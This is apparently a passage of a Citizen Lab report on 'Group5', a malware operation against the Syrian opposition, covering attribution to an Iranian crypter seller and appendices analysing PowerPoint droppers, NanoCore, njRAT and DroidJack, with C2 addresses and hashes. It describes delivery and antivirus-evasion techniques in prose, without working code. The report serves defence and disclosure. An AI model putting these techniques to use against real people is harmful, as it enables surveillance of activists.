Crypter MD5:6161083021b695814434450c1882f9f3 Compile Time: 10/6/2015 02:13:45 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb These PDB strings reveal two facts relevant to the discussion of attribution. The first is that the username of the individual who compiled the .Net application in both cases was mr.tekide . The second is that in both PDB strings we find not only a reference to the malware crypter used (a tool called PAC Crypt ), but also an explicit reference to the crypted malware payloads nano core and njrat These two facts together suggest that an individual having the username mr.tekide compiled a copy of PAC Crypt for specific projects involving njRAT and NanoCore RAT. A common usage scenario for a malware crypter involves an operator purchasing a copy of the crypter in a compiled form (or using a cracked version), then using the crypter to obfuscate the malware executable which is to be distributed. In this scenario the developer of the crypter has no knowledge of what specific malware the threat actor will eventually choose to encrypt with the purchased copy of the crypter. 20/48 The fact that the PAC Crypt PDB strings discovered in this case contained the njrat and nano core references is therefore noteworthy because it indicates the possibility of prior knowledge of the precise malware payload which was to be crypted. Research into the PAC Crypt tool revealed that this program is developed and sold by an Iranian malware developer known as Mr. Tekide Mr. Tekide Mr. Tekide is the online alias of an Iranian malware developer who is also the administrator of the website http://crypter[.]ir, an Iranian hacking forum and online shop. Notably, this storefront offers various hacking tools and services, including the aforementioned PAC Crypt (see figure 15 below). Figure 15: Crypter[.]ir main page (left), and contact page (right) In addition to the crypter[.]ir forum and shop, Mr. Tekide appears to be in the midst of creating a new online storefront for selling his various malware tools and services. The content shown in Figure 16 below, obtained from http://crypting[.]org, shows a rat service being offered to visitors. The store also touts a Windows Rootkit ( coming soon ) and various exploits. Figure 16: Crypting[.]org main page (left), list of hacking services offered (right) 21/48 Mr. Tekide also maintains an active presence as a moderator on the Ashiyane forums, 3 an Iranian security discussion board run by the Ashiyane Digital Security Team (ADST). The ADST is a well-known Iranian security and hacking group which has earned notoriety for its prolific website defacement activities. These defacements invariably contain a list of ADST defacers alongside the phrase We Love Iran Web site defacements conducted by ADST have explicitly named Mr. Tekide as a member, as shown in Figure 17 below. Figure 17: an Ashiyane Digital Security Team defacement page, naming Mr. Tekide In addition to its defacement activities, ADST has been recently linked to the indictment by the US Department of Justice of seven Iranian nationals for cyber attacks against the US financial sector. In its indictment, the Department of Justice alleges that members of two Iranian security companies, ITSecTeam and Mersad Company, were responsible for Distributed-denial-of- Service (DDoS) attacks against numerous US bank websites between September 2012 and May 2013. The DoJ indictment also describes that Mersad was founded by members of the ADST, and furthermore that ADST had made prior public claims regarding its activities on behalf of the Iranian Government. Additional open source information about Mr. Tekide is included in Appendix C: Mr. Tekide. A Consistent Iranian Nexus We cannot conclude with certainty that Group5 is Iran-based, although the confluence of information outlined above provides a circumstantial case. The IP addresses observed during early stages of development of the Assadcrimes website, as well as the Iranian hosting provider and the Persian language mailer, all speak to a level of Iranian presence. The additional apparent involvement of an Iranian malware developer with ties to a known Iranian cyber actor, whether his involvement was unwitting or intentional, only strengthens the Iranian connection. Part 6: Analysis of Competing Hypotheses This section evaluates several competing hypotheses for explaining the identity of the operator. While we cannot conclusively support one of these hypotheses, we think the most plausible is that this operation is the work of an Iranian group newly active in Syria. We believe we found Group5 fairly early in the process of preparing a larger malware campaign, thanks to Noura AlAmeer s vigilance. This gave us unique visibility into some of their staging, but we had only a limited view of other possible targeting. Group5 s reliance on a narrow infrastructure limited our ability to connect the operation to other known groups, as discussed above. With these caveats and limitations in mind, we outline the known elements of the operation, and evaluate several hypotheses: (Hypothesis 1) an Iranian group newly active in Syria; (Hypothesis 2) that the operation is from known regime-linked groups, like the Syrian malware groups; and (Hypothesis 3) that it is from some other unknown group. After addressing the fit of each hypothesis with available evidence, we provide an overall evaluation of the three, and conclude 22/48 that Hypothesis 1 provides the best explanation for what we have observed. Hypothesis 1: Iranian Group Newly Active in Syria A group previously unreported in Syria with uneven skills but displaying thought and care in selecting the target, and preparing the operation, with an Iranian nexus and a possible government connection. Previously Unseen in Syria: We have been unable to find a high-confidence overlap in infrastructure or malware to previously-reported groups active around Syria. We also had difficulty connecting the operation to other known groups in the global threat actor space. Furthermore, the use of exploits, as well as DroidJack and other tools, is inconsistent with the TTPs of known groups targeting the Syrian opposition, especially the regime-linked groups. Notably, these groups have shown little ability or appetite for: (a) standing up multifaceted seeding websites; (b) targeting Android users; (c) using exploits in PowerPoint files. Previously reported groups, especially regime-linked groups, have had a tendency to re-use infrastructure, and repurpose similar tools and approaches. It would be surprising for them to suddenly abandon tactics that still work, and cease using a C2 infrastructure that cannot be taken down (because it is inside Syria). While Group5 s tactics have more in common with the group reported in this FireEye report, such as the use of a fake website, COTS .Net malware, and Android malware, there is no direct infrastructure or tool overlap, and only limited evidence of social engineering sophistication (e.g. the use of avatars). Furthermore, the lack of technical sophistication, combined with low operational security, suggest that, had this group been previously active for any length of time, it would have run the risk of discovery, perhaps especially given all of the existing reporting about pro-Regime malware groups in Syria. Uneven Technical Sophistication: The operators showed familiarity with a range of cybercrime tools, yet also committed a range of operational security oversights, such as leaving their logs open and public-facing, connecting via their C2 server, and leaving debugging strings in compiled files. These characteristics would be inconsistent with the work of an in-house government capability. Iranian Connection: Analysis of the malware and seeding yields a consistent Iranian presence. The binary contains Iranian and Iranian-Persian traces, as do the tools used for obfuscation, which are popular in Iranian cybercrime forums. Similarly, the mailer discovered on the assadcrimes[.]info website is in Persian. There is also the intriguing, but ultimately unproven speculation that the crypter may have been sold to Group5 by a known Iranian malware developer. Furthermore, logs of access to the assadcrimes[.]info site suggest that the operators are working from within Iranian IP space. In addition, the bait content also contains substantial Iranian themes. Finally, the hosting provider (Hostnegar) is Iranian. A final piece of highly circumstantial evidence is that PowerPoint documents containing exploits, albeit often with quite different (and sometimes custom) malware, is a commonly reported feature of many recently-reported Iranian campaigns. Targeting Sophistication: Group5 not only targeted a well-connected individual within the Syrian opposition, but also masqueraded as her to register the assadcrimes[.]info site. Both the site and the bait content also indicate a degree of familiarity with the opposition s concerns and activities, and their targeting indicates they were targeting a key person in opposition politics and multilateral negotiations, yet not highly visible outside of informed circles. Speculatively, the choice of target is indicative of the interests and resources of a state-level actor, or a group receiving direction or providing information to such an actor. A number of governments and non-state actors in the region have an interest in the workings of the opposition, and several are providing direct or indirect support to the Assad Regime. We discuss this possibility in greater detail below in Evaluating Hypotheses. Hypothesis 2: Known Regime-Linked Group A known Regime-linked group has modified its tactics to operate against familiar targets Familiar Targets: The most widely documented threat against the Syrian opposition comes from regime-linked groups, 23/48 notably malware groups and the Syrian Electronic Army (to a lesser degree). These groups benefit from known links to the regime of Bashar al-Assad, which has a direct and strong interest in monitoring members of the Syrian Opposition, including the groups apparently targeted in this operation. We are familiar with previous operations by regime-linked groups targeting the same organizations. Modified Tactics: We cannot rule out the possibility that existing groups have added a range of new TTPs to their existing set as the conflict continues. Regime-linked groups certainly have the motivation to conduct this operation. Do known groups have the skills to conduct such an operation? There are a range of features of this operation that suggest Group5 may not be a regime-linked group. First, known regime-linked Syrian groups have tended to use a limited set of C2 servers, almost always with at least one server (or a fallback) located within a narrow set of servers within Syria. Group5 does not have a fallback C2 in Syria. Similarly, the servers that Group5 does use are not from companies previously associated with Syrian regime groups, nor is there any prior evidence of regime-linked groups making use of Persian-language tools, or Iranian IP space. Further, known Syrian groups have been active for almost 5 years without evidence of familiarity with PPSX exploits. It is unclear why they would deploy so many new tactics all at once, even they continue to gently iterate on techniques familiar to them. Other Syria-Focused Groups? In the introduction we mentioned two other groups that have previously targeted the Syrian opposition: a Lebanon-linked group uncovered in 2014, and an ISIS-linked operation in 2015. The first group, described in a 2015 FireEye Report, coauthored by one of the authors of this report, conducted an extensive campaign against the Syrian opposition. The campaign relied heavily on Arabic-speaking female avatars to flirt with opposition figures and trick them into downloading malware for Windows or Android. That campaign, however, differed in malware tools, infrastructure, and social engineering style from Group5. In addition, it lacked any Persian-language elements, or connection to Iranian IP space. In late 2014 a Citizen Lab report coauthored by one of the authors of this report, identified a malware operation linked to ISIS that targeted Raqqa is Being Slaughtered Silently, a documentation and media group working to uncover human rights abuses in Raqqa and other ISIS-controlled territories. That malware was apparently custom-made but very unsophisticated. Lacking the functionality of a RAT, and exfiltrating via e-mail, the operation was substantially less sophisticated than Group5 s activities. We think it unlikely that the operator behind that malware has (a) grown much more sophisticated, or (b) begun to rely on Iranian tools and hosting providers. Hypothesis 3: Other Unknown Group An unknown group, not located in Iran and not linked to prior groups It is possible that the operation is the work of some other unknown group. One possibility that we consider is that the operation is a false flag from another state sponsor, deliberately crafted to appear to be an Iranian group. In another, we also consider the other common motivations for such operations, including financial crime. A False Flag: Certainly, many other governments are actively interested in information about the Syrian opposition. Given the extensive circumstantial evidence strewn throughout the operation that points to a group based in Iran, one possibility we consider is that the operators are deliberately masquerading as an Iranian group, while acting on behalf of another sponsor. In such a scenario, each of the pieces of circumstantial evidence we have assembled is a string of deliberately planted artifacts, intended to deflect from the threat actor s true identity. This hypothesis is an intriguing possibility that cannot be conclusively ruled out. However, it is worth asking why, given the noisiness of existing groups targeting the Syrian opposition, a false flag operation would not simply be populated with the many publicly reported strings and other tools associated with pro-regime groups. Similarly, we wonder why a threat actor sophisticated enough to mount such an operation would not also have used more sophisticated malware or seeding techniques. Financial / Commercial Hacking: We find no evidence to suggest that financial crime or commercial espionage played a part in this operation. For a narrowly focused operation, the targeting, for example, does not appear to be geared towards 24/48 wealthy individuals, or those with access to serious financial resources. Evaluating Hypotheses We have moderate confidence that the best hypothesis is Hypothesis 1: Iranian Group Newly Active in Syria. The Group5 operation shows strong Iranian connections, with few indicators linked to previously reported groups, including Syrian regime-linked groups. The important caveat is that, perhaps partially by design, we have a limited view on the targets of the campaign, and it is possible that this analysis would change. We further believe that Group5 shows some signs of being state-directed, however we do not have sufficient evidence to link Group5 to a particular government. Two possibilities seem likely: (1) Group5 is working under the control or direction of a government entity within Iran, or sympathetic to such an entity and receiving and sharing information with them; (2) Group5 is collaborating or working on behalf of a government entity within Syria for ideological or mercenary reasons. Both governments are belligerents within the Syrian conflict, and both would have a strong interest in accessing the communications of the Syrian opposition. The Iranian government has been a strong supporter of the regime throughout the conflict, and clearly has an interest in learning and frustrating the political maneuvering of the Syrian opposition. Iranian intelligence and security services have reportedly provided a wide range of military and intelligence gathering assistance to the regime, ranging from troops and training, to electronic monitoring capabilities. At minimum, operators based in Iran certainly would be unlikely to face punishment from their government for work against the Syrian opposition. Speculatively, sponsoring such an operation (held at arm s length and consigned to a deniable, less experienced group) could provide useful information about the activities and thinking of key individuals within the Syrian Opposition, such as advanced knowledge of negotiating points in multilateral meetings, or internal disagreements. Importantly, there is no evidence to directly connect Group5 to any entities within the Iranian government, security establishment, or military. Nor can we rule out the possibility that Group5 is Iran-based, but working on behalf of some other entity. The most perplexing part of the activity we observe is that the operation appears to have been extensively prepared, and then apparently paused after initial seeding. This pause took place not long after Al-Ameer was initially targeted: the website development continued for a period after she had received the initial e-mail, and then ceased. Group5 may have initially targeted Al-Ameer hoping to leverage her well-connected position and digital identity to target others within the Syrian opposition. Theft of her digital identity would explain why her name was used in the WHOIS for assadcrimes[.]info, and why, after failing to infect Al-Ameer, the campaign did not appear to receive much further work, and the infrastructure was ultimately abandoned. Other explanations for the pause in activity are possible, and we cannot discount them based on our limited evidence: Group5 may have undergone a shift in the focus of its targeting, concluded that their campaign was blown and abandoned it, experienced human resources or political issues, or simply concluded that the operation was using an ineffective technique. Conclusion When Syrian opposition figure Noura Al-Ameer sensed something wrong and refrained from clicking, she frustrated a reasonably well put together deception. We suspect she may have been targeted in order to steal her digital identity for the purposes of mounting a larger campaign. Beginning with this initial message, we were able to identify and characterize Group5, a seemingly new entrant into the game. With the identification of Group5, the number of publicly identified operations known to have targeted the opposition with malware has risen to five, at least: Regime-linked groups (Syrian malware groups and the Syrian Electronic Army), a Lebanese Group, ISIS, and most recently Group5. We believe that the most compelling explanation of Group5 s activities is that a group in Iran may be attempting to compromise the communications of the opposition. The circumstantial evidence pointing to an Iranian group is unsurprising, given Iran s active military engagement in Syria, and the 25/48 sympathies of many in that country for the Assad regime. However, mindful of the limits of our investigation, we stop short of conclusive statements of attribution about the identity of the operators, or their possible sponsors. We hope that by publishing this report and sharing indicators, our work will be helpful to other researchers who may see pieces of the puzzle that we do not. Despite the diversity of the groups targeting the Syrian opposition, they share general features: uneven or low technical sophistication plus good social engineering and well-informed targeting. These elements are characteristic of the majority of malware and phishing operations targeting the Syrian opposition over the past several years. The continued targeting, and entry of new groups, reflects the continued weakness in the Syrian opposition s digital security, and more generally the risks groups face when using popular online platforms for contested political activities. Operators targeting the Syrian opposition plainly do not need sophisticated tools, because easily available malware continues to work, when paired with good social engineering. The technical requirement for entering the game is low, enabling unsophisticated groups to achieve successes, while permitting more advanced groups to conserve better techniques for harder targets. The lack of a centralized communications hierarchy can make opposition groups responsive, and quick to adapt. However, decentralization also provides many opportunities for digital exploitation. Operators can target groups for long periods while remaining unnoticed, without fear of being spotted and blocked by a security team. Even when exploitation attempts are noticed, because the security of these groups relies on the behavior of individuals, it can be extremely difficult to ensure that more secure behaviors are adopted. Opposition groups and their partners face many challenges, and we appreciate the difficulty of securing behavior. The infrastructure that we analyzed is, at time of writing, apparently abandoned. However, we suspect that Group5, or the interests behind it, may be continuing to pursue efforts to target the opposition. We hope to reinforce the message that continued vigilance is necessary to defend against these operations. Click here for some suggestions about how to improve your digital hygiene. If you believe you may have been targeted by this operation, or other Syrian malware, you are welcome to get in touch with our researchers at submit@citizenlab.ca. Acknowledgements We thank Noura Al-Ameer for collaborating with this investigation, and for graciously agreeing to be included in this report. The targeted nature of many cases means that, without the help of brave targets and victims, we are often left with a very limited view of what is taking place. We are exceptionally grateful to colleagues at Citizen Lab for comments, critical feedback, and assistance with document preparation including Ron Deibert, Bill Marczak, Morgan Marquis-Boire, Sarah McKune, Masashi Nishihata, Irene Poetranto,Christine Schoellhorn, and Adam Senft. Thanks also to Justin Kosslyn and Brandon Dixon for helpful feedback. We would also like to thank the following teams: Lookout, PassiveTotal and RiskIQ, VirusTotal, and Cisco s AMP Threat Grid Team for data correlation. Very special thanks to other investigators who wished to remain anonymous but provided exceptionally helpful assistance, especially TNG and Tuka. Note: the night sky image of Syria used as background for several illustrations is from CIMSS at the University of Wisconsin Madison. Appendix A: Windows Malware Analysis This section analyzes the malware used by Group5. It walks through the distinct droppers, which range from malicious 26/48 OLEs in a PowerPoint Slideshow file (PPSX) combined with an exploit, to executable files directly containing malware. Dropper Doc 1 (From E-mail 1) Assadcrimes.ppsx MD5: 76F8142B4E52C671871B3DF87F10C30C This slideshow deploys its malicious payload by (ab)using the OLE object embedding capabilities of PowerPoint.4 Specifically, the malware executable is embedded into the slideshow as an OLE Object of type Package: Figure 18: Adding an OLE Package to a PowerPoint document Once embedded, the slideshow Animation feature is used to trigger the execution of the object immediately upon viewing the first slide. In one of the malicious PPSX files, we can see the embedded package object by viewing the slides in normal view mode: 27/48 Figure 19: The malicious OLE Package, visible when editing the PPSX Once activated, the embedded object is saved to disk as %TEMP%\putty.exe, and then executed. This executable is a .Net downloader. 28/48 Figure 20: showing putty.exe (.Net downloader) In Figure 20 we can see that the second stage payload is obtained from the URL http://assadcrimes[.]info/1/dvm.exe [Ref 1]. This second stage executable is saved to disk as %temp%\dwm.exe [Ref 2], and then executed [Ref 3]. The %temp%\dwm.exe file has the following hashes: SHA256 7d898530d2e77f15f5badce8d7df215e c19bc1ff5f8472fb7ba64f33c2168b42ea881a6ae6e134a1cc142e984fb6647f The malware downloaded and executed by the .Net downloader is NanoCore, a well-known RAT (Remote Access Trojan) that enables the remote monitoring of victims via their computers. The NanoCore binary is wrapped using several layers of code obfuscation, which we describe in detail below. Deobfuscating the Malware The malware was obfuscated first with crypting, followed by packing before being distributed. 29/48 We will unwrap these steps in reverse order below. Unpacking The packer used on this executable employs a simple technique of base64 encoding the PE file and breaking it up into numerous lines which are then embedded into the resource section of the .Net packer stub file. At runtime, the packer reverses this process, then invokes the resulting .Net assembly from memory. Figure 21: Base64 strings found in the resource section of the packed executable. Extracting this packed code reveals a .Net assembly which is yet another layer of code protection applied using a crypter . This binary has the following hashes: SHA256 a4f1f4921bb11ff9d22fad89b19b155d d81ec563387e2ea47bc8ed50fd36e1de955cb2331d6eaae9f966b5d7ab094806 Decrypting This executable is stub code which performs in-memory AES decryption of a base64 encoded string variable. This string variable holds an encrypted copy of the NanoCore RAT binary. 30/48 Figure 22: the AES decryption routines This encryption of the underlying malware is typically employed to bypass detection by endpoint security controls such as antivirus programs. Many crypter tools, as they are known, are available for purchase or trade on various hacking forums. Of particular note, this decrypting stub code retained its PDB (short for Program Database) information. PDB file references are common in .Net applications when compiled in debug mode, and they frequently reveal the original file path of the application source code on the developer s computer. This executable revealed the following PDB file path: c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb This PDB string indicates that mr.tekide was the username of the developer who compiled this particular stub, and further that it was compiled as part of a Visual Studio project named paccryptnano core dehgani -vds . In addition, a single subroutine found inside the decrypting stub was named tekide . The relevance of this PDB string was discussed above in Part 5: Attribution. In order to obtain the intended malware payload from this decrypting stub executable, we created a small .Net application to mimic the decryption steps and output the file to disk. Once complete, we obtained a malicious executable with hashes: SHA256 dd5bedd915967c5efe00733cf7478cb4 a9db5a548ea17d6606bfbdb20306a3a08b38dbfe720f9f709f4d3369288be104 31/48 Original NanoCore binary Now that we have arrived at the original NanoCore binary, we can examine the configuration as specified by the operator. In order to extract the configuration settings from this copy of NanoCore, we used Kevin Breen s RATDecoders. Using Breen s tool we arrived at the following configuration: Figure 23: The NanoCore configuration, using Kevin Breen s RATDecoders Notably, 88.198.222[.]163 port 8081 is the command and control channel for this malware. As noted in Part 1, the same IP was also present in the seeding e-mail header. Dropper Doc 2 assadcrimes1.ppsx MD5:F1F84EA3229DCA0CCACB7381A2F49F99 This PowerPoint document leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows operating system. As described in previous reporting, this vulnerability causes a file embedded within the PowerPoint document to be copied to disk and executed silently on vulnerable systems. The document under examination drops a file named dvm.gif to disk, renames it to dvm.exe and then executes it. This dvm.exe is the same packed and crypted copy of NanoCore as retrieved and executed by the .Net downloader described in the previous section. Dropper Doc 3 assadcrimes.info.ppsx MD5: 30BB678DB3AD0140FC33ACD9803385C3 This malicious PowerPoint document uses the same weaponization method described above with respect to Dropper Doc 1. The executable is embedded as an OLE package object, and subsequently executed using animation actions within the PowerPoint slideshow. 32/48 Figure 24: The malicious OLE Package, visible when editing the PPSX As with Dropper Doc 1, activation of the OLE Package object saves the embedded executable to disk as %TEMP%\putty.exe, then executes it. This file is a .Net application employing the same layers and methods of packing and crypting as seen in the payloads delivered by Dropper Docs 1 and 2. However, the ultimate malware payload in this case is njRat, another well-known RAT tool. After unpacking the OLE embedded executable putty.exe, we again arrive at a decrypting stub file which will AES decrypt a base64 string variable and run it from memory. The hashes of this file are: SHA256 6161083021b695814434450c1882f9f3 d72676bbf8de82486c3cebfdad2961cc68a6b564a43f9f987c95320fcd6a330a Similar to the case of Dropper Doc 1 above, we find a PDB entry present in the decrypting stub executable: C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb Again we can observe the same username of mr.tekide in the project source code path within the PDB string. Further, we note the development path components paccrypt11njratmalii and paccryptalipnahzade. To obtain the malicious njRat executable from this decrypting stub we used the same .Net program we built for use in the Dropper Doc 1 example above. The resulting njRat binary had the following hashes: 33/48 SHA256 b4121c3a1892332402000ef0d587c0ee 1a287331e2bfb4df9cfe2dab1b77c9b5522e923e52998a2b1934ed8a8e52f3a8 Interestingly, the njRat executable appears to have been compiled from source by the same user who compiled the crypter described above. Note the PDB strings found inside the njRat executable: C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures Copy\njrat7stubsoures\obj\Debug\dvvm.pdb A quick look at the configuration data embedded within this njRat binary reveals the command and control IP address and port: Figure 25: The njRAT configuration, showing the C2 and port. Decoy Dropper 4 alshohadaa alatfal.exe 34/48 MD5: 2FC276E1C06C3C78C6D7B66A141213BE This file is a .Net application designed to act as a decoy by displaying a window depicting images of dead children (see Figure: 5). While displaying these images, the decoy application also silently extracts an executable file from the .Net assembly s resource section, copies it to %TEMP%\dvm.exe, and then launches a new process from this newly created file. See Figure 26 below: Figure 26: Malware dropping code inside the Decoy application The dropper also includes a PDB reference: C:\users\enterok\desktop\slideshow\slideshow\obj\x86\debug\alshohadaa alatfal.pdb The dvm.exe file is itself a .Net executable which is packed using the same .Net packer used above in the cases of Dropper Docs 1 3. Once unpacked, the resulting file is the same crypted .Net application analysed above from Dropper Doc 3, having MD5 hash 6161083021b695814434450c1882f9f3, and containing the njRat payload. Malware Infrastructure Command and Control Server Each of the three distinct RAT tools used by Group5 (njRAT, NanoCore RAT, and DroidJack) were configured to communicate with a single command and control server operating on IP address 88.198.222[.]163. Reverse DNS PTR Assignee 88.198.222[.]163 static.88-198-222-163.clients.your-server.de HETZNER-RZ-NBG-BLK4 Hetzner Online GmbH This server was the sole point of data exfiltration for each of the malware components. As detailed above for njRAT and NanoCore, and below in Appendix B for DroidJack, the TCP ports used for command and control for each of the RAT tools were as follows: 35/48 Figure 27: RAT ports on the C2 server Additionally, we believe a controller for yet another remote access trojan, XpertRAT, was also hosted on this IP in November 2015; however, we did not uncover any samples designed to communicate with this XpertRAT controller. As noted in the above table, the IP address 88.198.222[.]163 is assigned to Hetzner Online, a Germany based web hosting provider. Hetzner offers web hosting services as well as virtual and dedicated server rentals. Contact was made with Hetzner technical personnel subsequent to the discovery of the malicious activity outlined in this report. A synopsis of this contact is provided in Appendix F: Notification. Current data available for this IP address suggests that it was likely reprovisioned to a different Hetzner customer in early February 2016 at the latest, and then possibly again in May. A series of domain names associated with online multi-player games were directed to this Hetzner IP, one of which was apparently hosting a malicious HTML document. Assadcrimes Web Hosting The assadcrimes[.]info domain name was registered in June 2015, but it remained parked until early October, at which time it was migrated to an Iran-based shared web hosting provider named Hostnegar. This action coincided with the delivery of the initial e-mails outlined in Part 1. The assadcrimes[.]info website was hosted on a shared hosting platform, and as such the IP address associated was also shared by a significant number of other, unrelated, websites. Reverse DNS PTR 212.7.195[.]171 server22.rayanegarco[.]com Headers from the initial e-mail are shown below in Figure 28. These headers indicate that the initial e-mail was most likely sent using the Horde webmail application running on the web hosting server. Furthermore, the headers indicate that the sender was accessing the webmail application from the IP address of the command and control server discussed above. 36/48 Figure 28: Headers from the initial e-mail Finally, available domain name service data indicates that the assadcrimes[.]info domain name was moved back to its original parked location on May 4, 2016. Appendix B: Android Malware Analysis The Malicious APK Overall Description 37/48 Figure 29: The malicious application is installed, and appears in the Apps tab (left), while hidden from the Apps list from the Drawer (right) Upon execution, the malware is installed and then hidden from the list of installed applications in order to remain covert. 38/48 Figure 30 : The malicious app gives an error App isn installed when the user tries to open the malware before it disappears from the list. After the installation, the Application icon will be removed from the installed applications list, yet it will still be running in the background. The APK package in question had the following characteristics: Adobe_Flash_Player.apk MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D This APK is an instance of DroidJack. According to Symantec, this application evolved from an older codebase known as SandroRAT. The discovered APK sample also contains references to both names, as shown in Figure 31 below: Figure 31: References to both DroidJack and SandroRat as seen in the source code The APK Manifest file reveals important information about the sample s capabilities and the intentions of its operator. The Android operating system requires information from the Manifest file before the application can execute. This application will request the following permissions and use the following features from the device: Figure 32: screenshot from Manifest file with the requested permissions for the APK In the Android system, Activities are components typically used to let the user of the device perform an action. The Main Activity is also defined in the Manifest, pictured in Figure 33. Figure 33: Main activity defined in the manifest In this case, the Main Activity is designed to start the Controller as a Service and finish. The controller will be discussed in more detail in the next section. Android applications can also have Services and Receivers defined. Services are used for background operations while Receivers define the types of broadcast messages the application can receive from other applications as well as the device. These messages are known as Intents. This APK sample enables several services including Controller, GPSLocation and Toaster (See Figure 34). 39/48 Figure 34: Services enabled by the APK The Controller class, referred to by the Main Activity and started as a service on the device, handles the malware operator s interaction with the application while the GPSLocation class is responsible for obtaining the GPS position from the device s LocationManager. The Toaster class is not implemented in this APK; however, it is implemented in older SandroRAT samples. The APK file has several Receiver classes defined to handle specific messages from the device (See Figure 35). 40/48 Figure 35: Defined receiver classes Receiver Intent Usage Connectivity Change Allows the application to monitor any connectivity changes, including moving between mobile data and Wi-Fi. The constant value is set every time a change occurs. Boot Completed Allows the application to re-connect when the device restarts. The constant value is broadcast when the device finishes booting. Phone State Allows the application to monitor incoming calls. The constant value is set when the call state is changed. The Connector Receiver simply starts the Controller Service when the phone boots allowing the malware to run in the background upon start up. The CallListener Receiver allows the operator to log when the target makes calls, and record calls (if the operator has enabled it) as an .amr file that can then be sent to the command and control server. Lastly, in the Manifest file, the Application enables two additional Activities, CAMSNAP and VIDEOCAP, as shown in Figure 36. Figure 36: Activities enabling camera and video capture These allow the operator to use the infected device camera to take pictures and record video. This activity is hidden from the victim using a translucent theme. The Malicious APK The Controller As previously mentioned, the Controller class is ultimately responsible for the rest of the functionality. The instance we analyzed was configured to use the same host as the Windows malware for command and control communication: 88.198.222[.]163. 41/48 Figure 37: DroidJack configuration showing that it shares a host with the other Group5 malware We were able to install a test instance to learn how the malware s operator could surveil victims. It is clear that the operator would have nearly full access to the victim information. Features offered include: File browsing SMS and call logging Contacts Browser history Application Manager Location history WhatsApp Reader (only works on rooted devices) Remote camera and microphone Figure 38: DroidJack browsing WhatsApp logs for an infected device. Some features will only work on rooted devices. For example, the ability to read WhatsApp messages requires the victim device to be rooted. Android apps are unable to access the data from other applications unless they are signed with the same certificate or if the app has been given permission to execute commands as root. If DroidJack is able to acquire root access it can then upload the database on the device where WhatsApp stores its message history. 42/48 Appendix C: Mr. Tekide This appendix provides more context on Mr. Tekide, first delving into how we have identified his crypter (PAC Crypt) in strings in the binaries, and second highlighting the results of open source searching for his aliases and related strings. Sample Correlation With PDB Strings In the Group5 malware samples, we have several PDB file references that suggest that the crypter used with the two distinct RAT tools (njRat and NanoCore) was Mr. Tekide PAC Crypt . For the njRat sample from Dropper Doc 3, we can see the malware stub was compiled by mr.tekide as well. Reference: Doc Dropper 1 Crypter MD5: a4f1f4921bb11ff9d22fad89b19b155d Compile Time: 9/30/2015 00:02:51 c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb Reference: Doc Dropper 3 Crypter MD5:6161083021b695814434450c1882f9f3 Compile Time: 10/6/2015 02:13:45 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb Reference: Doc Dropper 3 njRat Payload MD5:b4121c3a1892332402000ef0d587c0ee Compile Time: 10/6/2015 01:23:31 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures Copy\njrat7stubsoures\obj\Debug\dvvm.pdb The Visual Studio project folders listed above suggest the particular version of PAC Crypt compiled by Mr. Tekide was being prepared in one case for an njRat payload, and another for a NanoCore payload. The strings dehgani malii and alipnahzade may have additional significance or relevance. We conducted searches across online malware repositories and analysis services (such as VirusTotal, Malwr, and TotalHash) in an effort to acquire additional data relating to the use of PAC Crypt. These searches revealed very little in relation to PAC Crypt specifically, so we instead examined the data for instances of tekide related strings found in PDB files. It is our hope that the data or avenue of investigation presented below may be of value to other researchers. The results we examined contained over 200 samples which we then clustered into sets based on compile time and PDB reference as shown in the table below: 43/48 The following compile time / PDB references were also observed in singular instances: Keeping in mind the limitations of reliance on compile times, we nevertheless were able to compare the noted compile times against the first time samples appeared in common malware repositories such as VirusTotal, Malwr, and TotalHash. 44/48 In most instances, samples began to appear in malware repositories within hours of the files being compiled. Dynamic analysis of the samples in these sets revealed multiple different payloads and C2 configurations. For example, analysis of the samples in Set A yielded the following payloads and configurations: Finally, analysis of the compile times observed across the acquired samples suggest a period of activity falling in the latter half of 2014. There are many possible explanations as to why so few samples were observed with compile times beyond 2014: conscious removal of PDB information, a change in personal circumstances, or possibly even a shift to less public malware development activities. Mr. Tekide on the Internet Mr. Tekide maintains a visible profile across various malware related web forums, as well as on social media. Searches conducted for this alias provided numerous results which reveal a consistent use of the Mr. Tekide name and avatar, as shown in the images below. 45/48 Figure 39: Mr. Tekide showcasing his ashiyane crypter v.7 on the Ashiyane forums 46/48 Figure 40: Mr.Tekide s administrator profile on the crypter[.]ir forums Figure 41: PAC Crypt page on the crypter[.]ir online shop A link found on the Contact page of the crypter[.]ir website led to a Facebook profile in the name of Pezhman Blackhat. In addition to this Facebook profile, we also identified a LinkedIn profile in which he refers to himself as a crypter, and states that he works for the ashiyane digital security team. He also maintains an Instagram profile. Appendix D: File Hashes Full Table of Binaries File VirusTotal (26Jul-2016) First Sub. on VT Dropper Doc 1 assadcrimes.ppsx 76F8142B4E52C671871B3DF87F10C30C putty.exe [stage1 downloader] 366908F6C5C4F4329478D60586ECA5BC dvm.exe [stage 2 payload] 7D898530D2E77F15F5BADCE8D7DF215E Unpacked dvm.exe A4F1F4921BB11FF9D22FAD89B19B155D NanoCore RAT payload DD5BEDD915967C5EFE00733CF7478CB4 Dropper Doc 2 47/48 File VirusTotal (26Jul-2016) First Sub. on VT assadcrimes1.ppsx F1F84EA3229DCA0CCACB7381A2F49F99 dvm.exe 7D898530D2E77F15F5BADCE8D7DF215E assadcrimes.info.ppsx 30BB678DB3AD0140FC33ACD9803385C3 putty.exe 5C4EC3D93A664E4BFA1CE6286CCF0249 Unpacked putty.exe 6161083021B695814434450C1882F9F3 njRAT payload B4121C3A1892332402000EF0D587C0EE alshohadaa alatfal.exe [decoy app] 2FC276E1C06C3C78C6D7B66A141213BE dvm.exe [dropped by decoy app] 494BAB7FD0B42B0B14051ED9ABBD651F 14 / 55 2-Mar-2016 